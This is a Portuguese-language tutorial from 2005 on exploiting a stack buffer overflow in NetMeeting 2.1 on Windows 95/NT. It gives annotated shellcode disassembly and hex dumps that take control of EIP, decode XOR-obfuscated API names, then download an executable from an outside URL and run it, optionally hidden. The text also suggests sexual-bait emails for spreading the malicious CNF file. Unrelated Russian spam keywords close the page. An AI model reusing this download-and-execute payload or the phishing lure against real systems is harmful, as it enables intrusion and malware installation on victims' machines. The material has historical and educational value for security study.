Segurança

Buffer overflow no Windows

Sab

5

Nov

2005


23:55

  • Imprimir
(2 votos, média 5.00 de 5) 


Nível intermediário Um buffer overflow ocorre toda vez que determinado número de bits exceder o espaço de armazenamento que lhes foi reservado. Para os iniciantes, o texto "Buffer overflow" na seção Queijo Suíço da Informática da Aldeia é mais adequado. Para os iniciados, principalmente os programadores, este texto pode ser útil para evitar deixar brechas que permitam exploits.

Considerações iniciais

Um clássico do buffer overflow é o paper do DilDog, publicado em maio de 1998 no site do Cult of the Dead Cow, pessoal que ficou famoso com lançamento do trojan BackOrifice. A base para este texto foi este paper. O exploit usado como exemplo é praticamente inofensivo porque é encontrado no ultrapassado NetMeeting 2.1 e o overflow só acontece no Windows 95 e no antigo NT. Mas só o exemplo é descartável, o princípio e os métodos de exploração não!

Para acompanhar este texto é preciso que você conheça a arquitetura Intel e tenha uma base bastante sólida de Assembly.

Noções fundamentais

Analise o seguinte trecho de código escrito em C:

     void func(void)
     {
         int i;
         char buffer[256];   

         for(i=0; i < 512; i++)                 
             buffer[i]='A';

         return;
     }

Mesmo se você não costuma usar a linguagem C (mas tem alguma experiência de programação), é fácil perceber que o código acima têm sérios problemas. Se o buffer possui 256 posições, como é que o loop for, que vem logo a seguir, vai colocar 512 caracteres A neste buffer? A resposta é: não vai! Os primeiros 256 caracteres A preenchem o buffer e, os 256 restantes, vão parar em algum outro lugar.

O lugar para onde vão os 256 As excedentes depende do sistema operacional e da linguagem de programação mas, se não houver uma checagem automática de limites como existe na Java, garanto que os As que sobram vão causar estrago em alguma área da memória!

Logo depois da instrução que inicializou o buffer, a pilha (stack) de 32 bits de um sistema operacional como o Windows 9x/NT correndo numa plataforma Intel tem a seguinte estrutura:

     STACK
             -------------------
             Variáveis Locais
     ESP->   i
             Buffer
             -------------------
     EBP->   Valor antigo de EBP
             -------------------
             Endereço de Retorno
             -------------------

Quando o procedimento "func" retorna, ele move EBP de volta para ESP e tira o endereço de retorno da pilha com um POP. Acontece que, depois que a linha de código marcada em vermelho é executada 256 vezes, ela extrapola o tamanho do buffer (taí o overflow) e os As seguintes são escritos por cima do valor antigo de EBP. Pior do que isto, também são escritos por cima do endereço de retorno e a alteração deste endereço afeta seriamente o fluxo do programa.

Agora imagine agora que isto tenha sido proposital. Ao invés de usar caracteres A, o endereço de retorno pode ser alterado de modo que aponte para uma localização de memória da sua escolha e o código que você quer que seja executado será alcançado quando chegar a hora deste procedimento fazer o 'return'. Se o buffer for preenchido com bytes de código, você poderá redirecionar o EIP para eles no próximo RET porque a pilha é considerada como memória executável pelo Windows 9x/NT na arquitetura Intel.


Como detectar um buffer overflow

Mensagem de erro
Fig. 1 - Mensagem de erro com jeitão de buffer overflow

Se você receber um simpático aviso como o mostrado na Fig.1, então você provavelmente esbarrou num tipo qualquer de buffer overflow. A mensagem parece um tanto vaga mas, se você observar alguns valores mais de perto... bingo!

Esta mensagem foi obtida alimentando o campo 'endereço' do atalho da 'discagem rápida' do 'Microsoft Netmeeting' com uma string composta por bytes 0x80. A mensagem de erro que apareceu logo a seguir mostra que EIP contém 0x80808080. Adivinhe o que isto significa? Nada mais, nada menos do que um overflow de pilha! E com um overflow destes na mão, é a coisa mais fácil fabricar uma string que contenha código malicioso e dar uma ajeitada em quatro destes bytes 0x80 para que apontem para esta string.

É bom esclarecer que uma mensagem de erro deste tipo não necessariamente indica a presença de um buffer overflow e que alguns buffer overflows são mais fáceis de serem explorados do que outros. Além disso, apesar dos heap overflows também poderem ser explorados, este texto vai tratar apenas dos stack overflows.

Como usar um buffer overflow

Quando se encontra um buffer overflow, a primeira coisa é decidir como usá-lo e quais são as ferramentas disponíveis. No caso do NetMeeting, para criar uma situação de buffer overflow, é preciso criar um arquivo com a extensão '.cnf'. Este é um arquivo criado pelo NetMeeting quando se salva um atalho de discagem rápida (SpeedDial) no HD. Arquivos CNF costumam estar em páginas da web e em emails para que as pessoas possam fazer contato.

Caso alguém queira explorar este overflow, basta iniciar o NetMeeting, procurar uma porção de usuários no servidor ILS e enviar-lhes emails com um arquivo CNF anexado. Os emails notoriamente mais chamativos são os que falam de sexo, oferecem fotos eróticas, avisam que há um prêmio à espera da pessoa e outras coisas do gênero. Além de enviar emails para usuários desavisados (ou muito curiosos smile ), também é possível fazer uma falsa conexão com um servidor ILS, criar uma conta também falsa e fornecer um endereço que, na verdade, é um exploit. Assim que algum usuário clicar no nome deste falso usuário, ele cai na armadilha.

A ferramenta disponível para explorar esta falha de segurança chama-se RUNDLL32.EXE, que é onde ocorre o overflow. Este arquivo tem tamanhos diferentes no Windows 95 e no NT, por isso é bem provável que as tabelas de importação também sejam diferentes (basta verificar com um editor hexadecimal).

Quando ocorre a falha, mesmo fechando a janela da mensagem de erro, o NetMeeting não é fechado. Isto significa que RUNDLL32 estava rodando num espaço próprio, separado do espaço de execução do NetMeeting. Isto tem duas implicações, uma boa e uma ruim. A parte boa da história é que não será preciso analisar um monte de código e que, seja lá o que for feito, não lenvantará muitas suspeitas pelo simples fato de que o processo do NetMeeting não foi encerrado. A parte ruim é que a RUNDLL32 não é carregada da mesma forma que outras DLLs ou recursos externos. Isto nos obriga a carregá-la por conta própria.

Olhando a coisa mais de perto, verifica-se que há mais alguns inconvenientes. Um executável como o RUNDLL32 tem o endereço base 0x00400000. Isto significa que praticamente todas as referências à pilha precisam ter, no mínimo, um caracter NULL. Isto é complicado porque quase sempre as operações com strings em C causam este tipo de overflow quando as strings contêm caracteres NULL. Portanto, se escrevermos o código com caracteres null, a string do exploit tem grande chance de ser estragada - ela será truncada quando for manipulada. Além do NULL, outros caracteres complicados são avanço de linha (line feed), retorno de carro (carriage return), alguns códigos de controle e, em alguns casos extremos, até letras maiúsculas ou minúsculas ou caracteres cujos valores ASCII sejam maiores ou iguais a 0x80 (um dos piores casos!). Para contornar estes problemas vamos precisar usar alguns expedientes.


Outras coisas que vão dar trabalho: a MSCONF.DLL está carregada. Isto ocorre porque ela foi chamada e carregada pelo RUNDLL32. Sabemos disto porque a linha de comando inicial dos arquivos .CNF é "rundll32.exe msconf.dll,OpenConfLink %l". Também podemos supor que a KERNEL32.DLL esteja na memória porque as funções desta DLL estão na tabela de importação da KERNEL32.DLL. Por sua vez, as funções da KERNEL32.DLL também estão na tabela de importação da MSCONF.DLL. Procurando o que possa ser o mais viável devemos analisar o seguinte: estamos hackeando o NetMeeting 2.1. Isto significa que dependemos de uma versão do produto e uma versão da MSCONF.DLL. Por outro lado, as versões do RUNDLL32 ou da KERNEL32 dependem do sistema operacional ou dos upgrades feitos neste sistema. Portanto, se quisermos fazer referência a um endereço de memória virtual absoluto, é melhor que este endereço pertença à MSCONF. Caso contrário, corremos o risco de cutucar no lugar errado! Isto é um problema se quisermos que o exploit funcione em todas as versões do sistema operacional alvo.

Bem, neste caso, é bom dar uma verificada como outros programas obtêm seus endereços. Como o objetivo é usar funções de Internet para botar o código do exploit para funcionar, será preciso usar a WSOCK32.DLL ou a WININET.DLL. A WININET proporciona maior funcionalidade com menos código, portanto é melhor começar com ela. A WININET não está carregada no espaço do RUNDLL32, o que nos obriga a carregá-la. Mas, vamos com calma. Antes disto é preciso explicar como ganhar o controle do EIP e como apontar o código para ele.

Dominando o EIP

Descobrimos que, através de um buffer overflow de um determinado tamanho, poderíamos modificar o endereço de retorno de alguma função e desviar o fluxo de execução para algum ponto da nossa escolha. Neste caso, o normal seria proceder mais ou menos assim:

     Endereço = .....256 pontos....1234xyz

Como o tamanho do buffer é de 256 bytes (descobre-se isto por tentativa, aumentando-se ou diminuindo-se o comprimento da linha Endereço = até chegar no comprimento exato que causa o estrago), a linha acima vai preencher o buffer com 256 caracteres ponto (.), escrever por cima de EBP 0x34333231 e preencher o EIP com 0x00ZZYYXX se a string terminar com um NULL. Isto permite que apontemos para qualquer posição da pilha porque, adivinhe só, temos a permissão de colocar um NULL na posição final!

Em alguns casos, isto funciona muito bem. Em outros, o buffer, ou é muito pequeno para esta tarefa, ou é primeiro é bagunçado por uma porção de inserções e operações de string. Em muitos casos, colocar o código DEPOIS do endereço de retorno é uma idéia melhor. Por exemplo:

     Endereço = .....256 pontos....1234wxyzOCÓDIGOSEGUEAQUI>>>

Neste caso, com frequência obtém-se muito mais espaço de trabalho mas, em compensação, perde-se o benefício de poder usar um caracter NULL para compor o endereço de salto na pilha. Mesmo assim, neste exemplo, para construir o exploit, a única alternativa viável é colocar o código após o endereço de retorno porque o material antes do endereço de retorno é destruído antes de termos a chance de trabalhar com ele. Terminamos fazendo um salto para 0xZZYYXXWW, onde WW, XX, YY e ZZ não podem ser caracteres inválidos. E onde vamos parar? Onde quisermos smile

Antes de mais nada, ative o seu debugger de tempo real e insira uma string de exploit que cause a falha. Alguma coisa que aponte para um péssimo endereço (por exemplo, ajuste 0xZZYYXXWW para 0x34333231. Como não há código nesta área da memória, a falha de página é instantânea). Agora é só rodar e deixar que o debugger entre em ação. Examine o estado e veja o que é possível fazer. No caso deste exploit, vemos que ESP é o único registrador que aponta para alguma coisa perto do código do exploit. Na verdade, ele aponta para a localização onde invadimos o EBP armazenado mais 16 bytes.

Bem, o que estamos querendo fazer? Queremos forçar um salto para dentro da pilha. Na verdade, simplesmente saltar para ESP seria suficiente. Um modo esperto de conseguir isto é fazer com que 0xZZYYXXWW aponte para um trecho de código na memória que faça um "jmp esp", um "call esp" ou qualquer coisa do gênero. Mas, para complicar a situação, este trecho precisa ser um código onde nenhum dos bytes do endereço seja um byte "ruim", especialmente um 0x00. Encontramos o código mágico na MSCONF.DLL, carregada em 0x6A600000, deslocamento 2A76:

     .00002A76: 54                           push   esp
     .00002A77: 2404                         and    al,004
     .00002A79: 33C0                         xor    eax,eax
     .00002A7B: 8A0A                         mov    cl,[edx]
     .00002A7D: 84C9                         test   cl,cl
     .00002A7F: 740F                         je    .000002A90   
     .00002A81: 80E930                       sub    cl,030  ;"0"
     .00002A84: 8D0480                       lea    eax,[eax][eax]*4
     .00002A87: 0FB6C9                       movzx  ecx,cl
     .00002A8A: 42                           inc    edx
     .00002A8B: 8D0441                       lea    eax,[ecx][eax]*2
     .00002A8E: EBEB                         jmps  .000002A7B
     .00002A90: C20400                       retn   00004

Olhando para este código, onde está o salto para ESP? Não está, porque não faz mesmo. Ele apenas retorna para ESP. Acontece um PUSH ESP, o jmps 2A7B acontece uma vez e, depois, o JE 2A90 entra em ação e nos leva para um RET. Na verdade, é isto que faz o salto para ESP. Até aqui, tudo conforme o planejado. A MSCONF.DLL está carregada e podemos esperar que este código esteja no mesmo lugar o tempo todo porque só há uma versão da MSCONF.DLL que tem um endereço base fixo. Neste caso, nosso endereço 0xZZYYXXWW é 0x6A602A76. Nada de NULLs, caracteres proibidos ou outro tipo de enrosco. O EIP foi dominado e o processador é nosso!


Construindo o exploit

Agora que temos o controle da máquina, está na hora de botar a mão na massa. Acontece que há uma limitação no tamanho do código. Você vai notar que, após cerca de 763 caracteres, somos jogados para um lugar completamente diferente do pretendido. Este é mais um overflow, diferente do primeiro, e a Microsoft vai ter que consertar dois bugs tongue

Vamos ficar apenas com o primeiro overflow. Com os primeiros 256 caracteres varridos do mapa, sobram cerca de 500 bytes para albergar nosso código. Aqui está o que é preciso ser considerado:

  • Comprimento máximo do exploit: 500 bytes.
  • Não conhecemos a versão do sistema operacional.
  • Não sabemos onde estão localizadas funções que podem ser úteis.

A coisa está complicada, mas vamos analisá-la sob um ponto de vista de não-exploit. Um pequeno executável, compilado para Windows, roda tanto no Win95 quanto no WinNT. Quando um processo de saída (ExitProcess) é chamado, dependendo do sistema operacional, esta função está em lugares diferentes na KERNEL32.DLL. Como achá-la? Existe uma função na API do Windows, chamada "GetProcAddress", que serve para determinar a localização de funções. Fornecendo o nome e o manipulador (handle) de uma função, ela retorna o endereço de memória da mesma. Meio caminho andado, mas... qual é o endereço da GetProcAddress? Não temos outra saída a não ser chamá-la para descobrir. E como isto é feito? Através das tabelas de importação.

Tabelas de importação são estruturas do formato PE (o formato dos executáveis) que especificam o endereço de certas funções. Você pode usar o DUMPBIN (ou programas semelhantes) para obter estas tabelas. Tanto as DLLs quanto os EXEs possuem tabelas de importação. Como estamos lidando com apenas uma versão da MSCONF.DLL e sabemos que ela está na memória então, se GetProcAddress estiver na sua tabela de importação, o endereço da GetProcAddress será colocado pelo sistema operacional num determinado local do espaço de tabela da MSCONFIG.DLL.

Então, é só fazer um dump:

     Microsoft (R) COFF Binary File Dumper Version 5.10.7303
     Copyright (C) Microsoft Corp 1992-1997. All rights reserved.


     Dump of file msconf.dll

     File Type: DLL

       Section contains the following imports:

         KERNEL32.dll

                      23F   Sleep
                      183   IsBadReadPtr
                      17E   InterlockedIncrement
                      .
                      .
                      .
                       1E   CompareStringA
                       98   FreeLibrary
                      116   GetProcAddress
                      190   LoadLibraryA
                       4C   DeleteCriticalSection
                       51   DisableThreadLibraryCalls
                      .
                      .
                      .

É isso aí! GetProcAddress e LoadLibraryA! A LoadLibrary pode ser usada para obter os manipuladores (handles) das DLLs carregadas e para carregar DLLs que não foram carregadas. Sua tarefa básica é retornar o endereço base de DLLs. Isto é importante porque o endereço base da KERNEL32.DLL é diferente no Win95 e no NT.


Depois desta constatação, entramos no debugger e vasculhamos a memória até encontrar o endereço destas funções. Eles aparecem em 0x6A60107C (LoadLibraryA) e em 0x6A601078 (GetProcAddress). Agora é só chamar estas localizações usando endereçamento indireto (call dword ptr [0x6A60107C]) para chegar no lugar certo.

Para ser mais eficiente, vamos construir o exploit em duas partes:

  • Construir uma tabela de saltos das funções que pretendemos usar e
  • Rodar o código usando esta tabela.

Isto reduz a quantidade de código para chamar a função quando for preciso e miniminiza o uso da pilha para salvar registradores. Isto é importante porque, se usarmos PUSH e POP em excesso, o risco de detonar nosso código ou de causar outros problemas na pilha é muito grande. Mas, para construir a tabela de saltos, primeiro precisamos saber quais funções do Win32 precisam ser chamadas. Como 500 bytes é um espaço muito reduzido para conter um programa Windows realmente útil, usaremos este espaço apenas para chamar e executar um outro programa na Internet, um executável maior e mais bem construído. Ao invés de ficar se matando para reduzir o código a 500 bytes podemos executar um código de nível mais alto.

Para fazer o download de uma URL, precisamos das funções da WININET.DLL InternetOpenA, InternetCloseHandle, InternetOpenUrlA e InternetReadFile. Também vamos precisar da lcreat, _lwrite e _lclose da KERNEL32.DLL para salvar o arquivo em disco depois de terminado o download. Precisamos da GlobalAlloc da KERNEL32.DLL para alocar memória para o arquivo baixado e também da WinExec e ExitProcess (também da KERNEL32.DLL) para poder executar o que foi baixado e matar o processo do RUNDLL32 que foi corrompido totalmente antes que pudesse dar qualquer sinal de alerta smile

Saiba que num programa Win32 normal nunca é preciso chamar _lcreate ou qualquer outra função obsoleta. Entretanto, elas existem no Win95 e no NT e têm uma sintaxe de chamada bem mais simples do que a função CreateFile e outras semelhantes. É por isto que elas foram escolhidas.

Criando a tabela de saltos

Mãos à obra, vamos criar a tabela de saltos.

  • Problema número 1: precisamos chamar as funções pelo nome.

É isto mesmo, GetProcAddress aceita tanto um número (que não podemos usar porque é diferente nas diferentes versões) quanto um nome para a função que deve ser pesquisada. Mas o nome precisa terminar com um NULL. Hmmmm... encrenca à vista. Deveríamos ter pensado nisto antes! Mas isto não é tudo. Também precisamos juntar este troço com uma string da URL para fazer o download!

O negócio é botar a cabeça para funcionar. Como nenhum dos caracteres dos nomes das funções que precisamos, nem dos da URL para download, é maior do que ASCII 0x80, é seguro colocar os nomes das funções e a URL no final da string do exploit e depois fazer um XOR (ou ADD) 0x80 com cada byte. Quando o exploit começar a ser executado, é fácil obter novamente os valores originais fazendo novo XOR com 0x80. Além disso, existe uma vantagem adicional neste procedimento: quem for analisar o exploit terá dificuldade de descobrir o que estamos tentando fazer. Não é uma encriptação boa, mas este também não é o objetivo. Estamos apenas tentando fazer a coisa funcionar.

Assim, colocamos o seguinte no final da string do exploit:

     00000270:  .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00         KERNEL32
     00000280:  5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00  _lcreat _lwrite
     00000290:  5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00  _lclose WinExec
     000002A0:  45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62  ExitProcessGlob
     000002B0:  61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00  alAlloc WININET
     000002C0:  49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E  InternetOpenA In
     000002D0:  74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C  ternetCloseHandl
     000002E0:  65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72  e InternetOpenUr
     000002F0:  6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46  lA InternetReadF
     00000300:  69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C  ile http://www.l
     00000310:  30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67  0pht.com/~dildog
     00000320:  2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. ..  /eatme.exe      

Mas, se usarmos o XOR com 0x80 para eliminar os bytes 00, a coisa fica assim:

     00000270:  .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80         -+-++¶¶_«
     00000280:  DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80  __�__þ_«_______«
     00000290:  DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80  __�____«+__+ƒ_�«
     000002A0:  C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2  +ƒ__-__�___«¶___
     000002B0:  E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80  þ_-___�«+++++++«
     000002C0:  C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE  +_______-___-«+_
     000002D0:  F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC  ______+____+þ___
     000002E0:  E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2  _«+_______-___+_
     000002F0:  EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6  _-«+_______-_þ_¶
     00000300:  E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC  ___«____¶ªª___´_
     00000310:  B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7  ____´�__ª_______
     00000320:  AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. ..  ª_þ___

  • Problema número 2: Precisamos decodificar a tabela de strings

Neste caso, a primeira tarefa do nosso código será decodificar esta salada, ou seja:

     00000146: 33C9                         xor    ecx,ecx        ; Zerar ECX
     00000148: B88053FF63                   mov    eax,063FF5380  ; "c_S«"
     0000014D: 2C80                         sub    al,080         ;"«"
     0000014F: C1C018                       rol    eax,018

     Apontar EAX para o fim dos nossos dados na área da memória
     (precisamos fazer isto para não pegar nenhum caracter NULL)

      00000152: B1B4                         mov    cl,0B4        ;"¶"

     ECX agora é 0x000000B4, o número de caracteres que queremos XORar.

     00000154: 48                           dec    eax
     00000155: 803080                       xor    b,[eax],080    ;"«"
     00000158: E2FA                         loop   000000154   ---------- (1)

E aqui está o loop XOR. Agora dá para perceber porque começamos pelo fim. Foi para que, no fim deste loop, EAX apontasse para o início dos dados e para usá-lo imediatamente para obter os nomes. Agora vamos prosseguir com a tabela de saltos.

  • Problema número 3: Carregar todos os endereços dos procedimentos.
     0000015A: BE7C10606A                   mov    esi,06A60107C
     0000015F: 50                           push   eax
     00000160: 50                           push   eax
     00000161: FF16                         call   d,[esi]
     00000163: 8BF0                         mov    esi,eax

O que este código faz é chamar LoadModule. Não há necessidade de fazer dois PUSH (um sobrou da depuração e foi esquecido. Se quiser, anuleo com NOP). EAX apontava para a string "KERNEL32", que era o primeiro argumento para o LoadModule. Quando o LoadModule retornar, ele colocará o manipulador do módulo kernel em EAX, o qual guardamos em ESI para que não seja perdido quando chamamrmos outros procedimentos.

     00000165: 5B                           pop    ebx
     00000166: 8BFB                         mov    edi,ebx
     00000168: 6681EF4BFF                   sub    di,0FF4B  ;"_K"

Isto faz com que EDI aponte para a base da tabela de saltos, a qual colocamos após 181 bytes do início da tabela de strings decodificada (ainda no espaço da pilha).

     0000016D: FC                           cld
     0000016E: 33C9                         xor    ecx,ecx
     00000170: 80E9FA                       sub    cl,-006

Faremos um loop de seis passos para carregar os seis procedimentos do kernel. Assim, agora ECX=0x00000006.

      00000173: 43                           inc    ebx
      00000174: 32C0                         xor    al,al
      00000176: D7                           xlat
      00000177: 84C0                         test   al,al
      00000179: 75F8                         jne    000000173   ---------- (1)
      0000017B: 43                           inc    ebx

Este loop corre o texto à procura de caracteres NULL (em outras palavras, vai para a próxima string) e depois aponta EBX para o caracter que segue o byte 0x00. Isto nos desloca de um nome de procedimento para o seguinte. Observe o uso de XLAT em 31337. Gosto disso. A referência de toda a memória num único byte. Uma gracinha.


     0000017C: 51                           push   ecx
     0000017D: 53                           push   ebx
     0000017E: 56                           push   esi
     0000017F: FF157810606A                 call   d,[06A601078]
     00000185: AB                           stosd
     00000186: 59                           pop    ecx

Isto pega os endereços dos procedimentos das nossas funções e os coloca na tabela apontada por EDI.

     00000187: E2EA                         loop   000000173   ---------- (2)

Loop para todos os procedimentos do kernel.

Agora que acabamos com o kernel, precisamos repetir tudo para os procedimentos da WININET.

     00000189: 43                           inc    ebx
     0000018A: 32C0                         xor    al,al
     0000018C: D7                           xlat
     0000018D: 84C0                         test   al,al
     0000018F: 75F8                         jne    000000189   ---------- (2)
     00000191: 43                           inc    ebx

Este código só existe para mover EBX para além do nome da última função do kernel e para a string "WININET" da tabela de strings decodificada.

     00000192: 53                           push   ebx
     00000193: 53                           push   ebx
     00000194: FF157C10606A                 call   d,[06A60107C]
     0000019A: 8BF0                         mov    esi,eax
     0000019C: 90                           nop
     0000019D: 90                           nop
     0000019E: 90                           nop
     0000019F: 90                           nop

É isso mesmo, os NOPs e os PUSH duplos são lixo de debugação. Se quiser, pode anulá-los com NOP. Este código pega os manipuladores dos módulos (endereço base) da WININET.DLL. Ele os guarda em ESI.

     000001A0: 33C9                         xor    ecx,ecx
     000001A2: 83E9FC                       sub    ecx,-004
     000001A5: 43                           inc    ebx
     000001A6: 32C0                         xor    al,al
     000001A8: D7                           xlat
     000001A9: 84C0                         test   al,al
     000001AB: 75F8                         jne    0000001A5
     000001AD: 43                           inc    ebx
     000001AE: 51                           push   ecx
     000001AF: 53                           push   ebx
     000001B0: 56                           push   esi
     000001B1: FF157810606A                 call   d,[06A601078]
     000001B7: AB                           stosd
     000001B8: 59                           pop    ecx
     000001B9: E2EA                         loop   0000001A5

Este código é apenas uma cópia do usado para obter os endereços das funções do kernel, só que, desta vez, está pegando os endereçõs das 4 funções da WININET. Por isto, não há necessidade de explicar tudo novamente. Muito bem, a tabela de saltos está pronta. EDI aponta para o dword depois do fim da tabela de saltos de modo que agora podemos referenciar os procedimentos indiretamente através de EDI (call dword ptr [edi-16]). É como se fosse uma tabela de importação, porém muito mais divertido!


O chantilly do exploit

Já que exploramos todas as ferramentas disponíveis, chegou a hora do bem bom.

     000001BB: 90                           nop
     000001BC: 90                           nop
     000001BD: 33C0                         xor    eax,eax
     000001BF: 6648                         dec    ax
     000001C1: D1E0                         shl    eax,1
     000001C3: 33D2                         xor    edx,edx
     000001C5: 50                           push   eax
     000001C6: 52                           push   edx
     000001C7: FF57EC                       call   d,[edi][-0014]
     000001CA: 8BF0                         mov    esi,eax

Este código aloca 131070 bytes de memória. EAX fica com 131070 e chamamos GlobalAlloc através de endereçamento indireto usando EDI a partir da tabela de saltos -0x14 bytes. Isto coloca o endereço de memória em ESI. O tipo de GlobalAlloc é GMEM_FIXED (0), o que retorna um endereço de memória ao invés de um manipulador destravado (unlocked handle).

     000001CC: 33D2                         xor    edx,edx
     000001CE: 52                           push   edx
     000001CF: 52                           push   edx
     000001D0: 52                           push   edx
     000001D1: 52                           push   edx
     000001D2: 57                           push   edi
     000001D3: FF57F0                       call   d,[edi][-0010]

Depois, criamos um manipulador de Internet com uma chamada para InternetOpenA. Para nossa sorte, neste caso, todos os parâmetros para InternetOpenA são zero.

O manipulador de Internet retorna em EAX e vamos usá-lo imediatamente como parâmetro da próxima função chamada.

     000001D6: 33D2                         xor    edx,edx
     000001D8: 52                           push   edx
     000001D9: 52                           push   edx
     000001DA: 52                           push   edx
     000001DB: 90                           nop
     000001DC: 52                           push   edx
     000001DD: 8BD7                         mov    edx,edi
     000001DF: 83EA50                       sub    edx,050  ;"P"
     000001E2: 90                           nop
     000001E3: 90                           nop
     000001E4: 90                           nop
     000001E5: 52                           push   edx
     000001E6: 50                           push   eax
     000001E7: FF57F8                       call   d,[edi][-0008]

Este código chama InternetOpenUrlA (em [EDI-0x08]), solicitando a URL que escolhemos. O tipo da URL não é especificado no código de modo que a URL pode ser HTTP, FTP, FILE, GOPHER,... ou o que você quiser.

     000001EA: 57                           push   edi
     000001EB: 33D2                         xor    edx,edx
     000001ED: 664A                         dec    dx
     000001EF: D1E2                         shl    edx,1
     000001F1: 52                           push   edx
     000001F2: 56                           push   esi
     000001F3: 50                           push   eax
     000001F4: FF57FC                       call   d,[edi][-0004]

Este código usa a função InternetReadFile (em [EDI-0x04]) para fazer o download de até 131070 bytes e colocá-los no buffer de memória (o ponteiro está em ESI). Observe que, inicialmente, foi feito um PUSH de EDI. EDI é onde está o contador dos bytes lidos. Isto é necessário para que o arquivo seja armazenado em disco com o tamanho correto.

Observe também que há um limite para o tamanho do executável exploit que pode ser baixado.


     000001F7: 90                           nop
     000001F8: 90                           nop
     000001F9: 90                           nop
     000001FA: 33D2                         xor    edx,edx
     000001FC: 52                           push   edx
     000001FD: 8BD7                         mov    edx,edi
     000001FF: 83EA30                       sub    edx,030  ;"0"
     00000202: 42                           inc    edx
     00000203: 90                           nop
     00000204: 90                           nop
     00000205: 52                           push   edx
     00000206: FF57D8                       call   d,[edi][-0028]

Isto chama a _lcreate (em [EDI-0x28]) para criar um arquivo para o qual poderemos transferir o conteúdo do buffer de memória. Está na hora de dar um lar para os nossos dados! O nome do arquivo é escolhido levando em consideração os últimos 5 caracteres da URL. Neste caso, é "e.exe". Este arquivo será criado no local de onde o exploit foi disparado (geralmente o diretório onde está o 'SpeedDial' do NetMeeting).

     00000209: FF37                         push   d,[edi]
     0000020B: 56                           push   esi
     0000020C: 50                           push   eax
     0000020D: 8BD8                         mov    ebx,eax
     0000020F: FF57DC                       call   d,[edi][-0024]

Neste ponto será feita a escrita para o disco com a chamada para _lwrite (em [EDI-0x24]). O parâmetro com o número de bytes que devem ser escritos está em [EDI]. Portanto, faz-se um PUSH da localização do buffer e do manipulador do arquivo retornado pela _lcreat. Mas, antes de chamar a função, é preciso salvar o manipulador em EBX, o qual não é modificado por _lwrite.

     00000212: 53                           push   ebx
     00000213: FF57E0                       call   d,[edi][-0020]

Finalmente, fechamos o manipulador do arquivo para sacramentar o delito. Agora, tudo o que resta fazer é executar o arquivo baixado e encerrar este processo. Não é preciso se preocupar em limpar a memória ou qualquer coisa do gênero. Seria mais elegante mas, neste caso, não existe nada de elegante smile

     00000216: 90                           nop
     00000217: 90                           nop
     00000218: 90                           nop
     00000219: 33D2                         xor    edx,edx
     0000021B: 42                           inc    edx
     0000021C: 52                           push   edx
     0000021D: 8BD7                         mov    edx,edi
     0000021F: 83EA30                       sub    edx,030  ;"0"
     00000222: 42                           inc    edx
     00000223: 90                           nop
     00000224: 90                           nop
     00000225: 52                           push   edx
     00000226: FF57E4                       call   d,[edi][-001C]

Pois bem, agora basta mandar um aviso para o WinExec rodar o executável! Observe que o primeiro 'inc edx' serve para selecionar o modo "Show Window" do executável. Se você quiser que o executável rode no mocó (escondido), então elimine este linha com um NOP. Neste caso, ao invés de SW_SHOWNORMAL, o modo SW_HIDE é que será ativado. Este é o segundo parâmetro do WinExec; o primeiro é o nome do arquivo.

     00000229: 90                           nop
     0000022A: 90                           nop
     0000022B: 90                           nop
     0000022C: FF57E8                       call   d,[edi][-0018]

Missão cumprida! O ExitProcess vai limpar a bagunça que foi feita. É isso aí.

Fontes
mfx broker выплатыконсилер или корректорлобановский депутатподводная видеокамерапримеры пиарапогружной блендервакансии никас